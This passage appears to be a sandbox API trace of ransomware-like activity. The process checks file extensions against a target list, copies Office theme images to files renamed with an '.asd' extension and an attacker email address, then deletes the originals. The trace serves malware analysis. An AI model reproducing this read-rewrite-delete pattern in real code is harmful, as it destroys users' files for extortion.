lpString2="L.PNG") returned -1 [0053.975] lstrlenW (lpString=".ppt") returned 4 [0053.975] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0053.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0053.975] lstrlenW (lpString=".zip") returned 4 [0053.975] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0053.975] lstrlenW (lpString=".rar") returned 4 [0053.975] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0053.975] lstrlenW (lpString=".bz2") returned 4 [0053.975] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0053.975] lstrlenW (lpString=".7z") returned 3 [0053.975] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0053.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0053.975] lstrlenW (lpString=".dbf") returned 4 [0053.975] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0053.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0053.975] lstrlenW (lpString=".1cd") returned 4 [0053.976] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0053.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0053.976] lstrlenW (lpString=".jpg") returned 4 [0053.976] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0053.976] lstrcmpiW (lpString1=".GIF", lpString2=".asd") returned 1 [0053.976] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0053.976] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0053.976] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=1287) returned 1 [0053.977] CloseHandle (hObject=0x204) returned 1 [0053.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif")) returned 0x20 [0053.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0053.977] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0053.977] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0053.977] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0053.977] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0054.237] GetLastError () returned 0x0 [0054.237] ReadFile (in: hFile=0x204, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x507, lpOverlapped=0x0) returned 1 [0054.239] WriteFile (in: hFile=0x20c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0x510, lpOverlapped=0x0) returned 1 [0054.240] ReadFile (in: hFile=0x204, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0054.240] WriteFile (in: hFile=0x20c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.240] SetEndOfFile (hFile=0x20c) returned 1 [0054.240] CloseHandle (hObject=0x20c) returned 1 [0054.240] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0054.240] SetEndOfFile (hFile=0x204) returned 1 [0054.241] CloseHandle (hObject=0x204) returned 1 [0054.241] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0054.241] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif")) returned 1 [0054.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0054.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0054.242] lstrlenW (lpString=".doc") returned 4 [0054.242] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.242] lstrlenW (lpString=".docx") returned 5 [0054.242] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.242] lstrlenW (lpString=".pdf") returned 4 [0054.242] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.242] lstrlenW (lpString=".xls") returned 4 [0054.242] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.242] lstrlenW (lpString=".xlsx") returned 5 [0054.242] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.242] lstrlenW (lpString=".ppt") returned 4 [0054.242] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0054.242] lstrlenW (lpString=".zip") returned 4 [0054.242] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.242] lstrlenW (lpString=".rar") returned 4 [0054.242] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.242] lstrlenW (lpString=".bz2") returned 4 [0054.242] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.242] lstrlenW (lpString=".7z") returned 3 [0054.242] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0054.242] lstrlenW (lpString=".dbf") returned 4 [0054.242] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0054.242] lstrlenW (lpString=".1cd") returned 4 [0054.242] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0054.242] lstrlenW (lpString=".jpg") returned 4 [0054.242] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0054.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0054.243] lstrlenW (lpString=".doc") returned 4 [0054.243] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.243] lstrlenW (lpString=".docx") returned 5 [0054.243] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.243] lstrlenW (lpString=".pdf") returned 4 [0054.243] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.243] lstrlenW (lpString=".xls") returned 4 [0054.243] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.243] lstrlenW (lpString=".xlsx") returned 5 [0054.243] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.243] lstrlenW (lpString=".ppt") returned 4 [0054.243] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0054.243] lstrlenW (lpString=".zip") returned 4 [0054.243] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.243] lstrlenW (lpString=".rar") returned 4 [0054.243] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.243] lstrlenW (lpString=".bz2") returned 4 [0054.243] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.243] lstrlenW (lpString=".7z") returned 3 [0054.243] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0054.243] lstrlenW (lpString=".dbf") returned 4 [0054.243] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0054.243] lstrlenW (lpString=".1cd") returned 4 [0054.243] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0054.243] lstrlenW (lpString=".jpg") returned 4 [0054.243] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.244] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0054.244] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0054.244] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0054.347] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=60724) returned 1 [0054.347] CloseHandle (hObject=0x21c) returned 1 [0054.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png")) returned 0x20 [0054.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0054.348] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0054.348] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0054.348] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0054.348] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0054.348] GetLastError () returned 0x0 [0054.348] ReadFile (in: hFile=0x21c, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0xed34, lpOverlapped=0x0) returned 1 [0054.351] WriteFile (in: hFile=0x1fc, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xed40, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xed40, lpOverlapped=0x0) returned 1 [0054.353] ReadFile (in: hFile=0x21c, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0054.354] WriteFile (in: hFile=0x1fc, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.354] SetEndOfFile (hFile=0x1fc) returned 1 [0054.354] CloseHandle (hObject=0x1fc) returned 1 [0054.354] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0054.354] SetEndOfFile (hFile=0x21c) returned 1 [0054.355] CloseHandle (hObject=0x21c) returned 1 [0054.355] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0054.356] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png")) returned 1 [0054.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0054.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0054.356] lstrlenW (lpString=".doc") returned 4 [0054.356] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.356] lstrlenW (lpString=".docx") returned 5 [0054.356] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.356] lstrlenW (lpString=".pdf") returned 4 [0054.356] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.356] lstrlenW (lpString=".xls") returned 4 [0054.356] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.356] lstrlenW (lpString=".xlsx") returned 5 [0054.356] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.356] lstrlenW (lpString=".ppt") returned 4 [0054.356] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0054.356] lstrlenW (lpString=".zip") returned 4 [0054.356] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.356] lstrlenW (lpString=".rar") returned 4 [0054.356] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.357] lstrlenW (lpString=".bz2") returned 4 [0054.357] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.357] lstrlenW (lpString=".7z") returned 3 [0054.357] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0054.357] lstrlenW (lpString=".dbf") returned 4 [0054.357] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0054.357] lstrlenW (lpString=".1cd") returned 4 [0054.357] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0054.357] lstrlenW (lpString=".jpg") returned 4 [0054.357] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0054.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0054.357] lstrlenW (lpString=".doc") returned 4 [0054.357] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.357] lstrlenW (lpString=".docx") returned 5 [0054.357] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.357] lstrlenW (lpString=".pdf") returned 4 [0054.357] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.357] lstrlenW (lpString=".xls") returned 4 [0054.357] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.357] lstrlenW (lpString=".xlsx") returned 5 [0054.357] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.357] lstrlenW (lpString=".ppt") returned 4 [0054.357] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0054.358] lstrlenW (lpString=".zip") returned 4 [0054.358] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.358] lstrlenW (lpString=".rar") returned 4 [0054.358] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.358] lstrlenW (lpString=".bz2") returned 4 [0054.358] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.358] lstrlenW (lpString=".7z") returned 3 [0054.358] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0054.359] lstrlenW (lpString=".dbf") returned 4 [0054.359] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0054.359] lstrlenW (lpString=".1cd") returned 4 [0054.359] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0054.359] lstrlenW (lpString=".jpg") returned 4 [0054.359] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.359] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0054.359] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0054.359] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0054.485] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=19485) returned 1 [0054.485] CloseHandle (hObject=0x214) returned 1 [0054.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png")) returned 0x20 [0054.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0054.486] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0054.486] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0054.486] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0054.486] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0054.486] GetLastError () returned 0x0 [0054.486] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x4c1d, lpOverlapped=0x0) returned 1 [0054.489] WriteFile (in: hFile=0x218, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0x4c20, lpOverlapped=0x0) returned 1 [0054.490] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0054.490] WriteFile (in: hFile=0x218, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.490] SetEndOfFile (hFile=0x218) returned 1 [0054.490] CloseHandle (hObject=0x218) returned 1 [0054.490] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0054.490] SetEndOfFile (hFile=0x214) returned 1 [0054.491] CloseHandle (hObject=0x214) returned 1 [0054.491] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0054.492] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png")) returned 1 [0054.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0054.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0054.492] lstrlenW (lpString=".doc") returned 4 [0054.492] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.492] lstrlenW (lpString=".docx") returned 5 [0054.492] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.492] lstrlenW (lpString=".pdf") returned 4 [0054.492] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.492] lstrlenW (lpString=".xls") returned 4 [0054.492] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.492] lstrlenW (lpString=".xlsx") returned 5 [0054.492] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.492] lstrlenW (lpString=".ppt") returned 4 [0054.492] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0054.492] lstrlenW (lpString=".zip") returned 4 [0054.492] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.492] lstrlenW (lpString=".rar") returned 4 [0054.492] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.492] lstrlenW (lpString=".bz2") returned 4 [0054.492] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.492] lstrlenW (lpString=".7z") returned 3 [0054.492] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0054.493] lstrlenW (lpString=".dbf") returned 4 [0054.493] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0054.493] lstrlenW (lpString=".1cd") returned 4 [0054.493] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0054.493] lstrlenW (lpString=".jpg") returned 4 [0054.493] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0054.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0054.493] lstrlenW (lpString=".doc") returned 4 [0054.493] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.493] lstrlenW (lpString=".docx") returned 5 [0054.493] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.493] lstrlenW (lpString=".pdf") returned 4 [0054.493] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.493] lstrlenW (lpString=".xls") returned 4 [0054.493] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.493] lstrlenW (lpString=".xlsx") returned 5 [0054.493] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") 